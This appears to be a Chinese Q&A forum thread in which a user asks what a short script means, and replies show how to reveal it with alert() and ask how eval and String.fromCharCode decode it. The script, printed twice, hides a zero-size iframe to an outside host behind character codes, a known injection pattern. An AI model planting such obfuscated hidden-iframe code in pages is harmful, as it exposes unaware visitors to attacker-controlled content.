给解释一下段话是什么意思？

Question

<script>
t="60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,102,114,101,101,46,55,104,111,115,116,48,55,46,99,111,109,47,99,104,101,110,103,117,99,102,47,105,110,100,101,120,46,104,116,109,108,34,32,119,105,100,116,104,61,34,48,34,32,104,101,105,103,104,116,61,34,48,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>上面这段话是什么意思呀？

Answer 1

<script>
t="60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,102,114,101,101,46,55,104,111,115,116,48,55,46,99,111,109,47,99,104,101,110,103,117,99,102,47,105,110,100,101,120,46,104,116,109,108,34,32,119,105,100,116,104,61,34,48,34,32,104,101,105,103,104,116,61,34,48,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62"t=eval("String.fromCharCode("+t+")");
alert(t);</script>

Answer 2

eval("String.fromCharCode("+t+")");具体是什么一次，从数字转换到字符？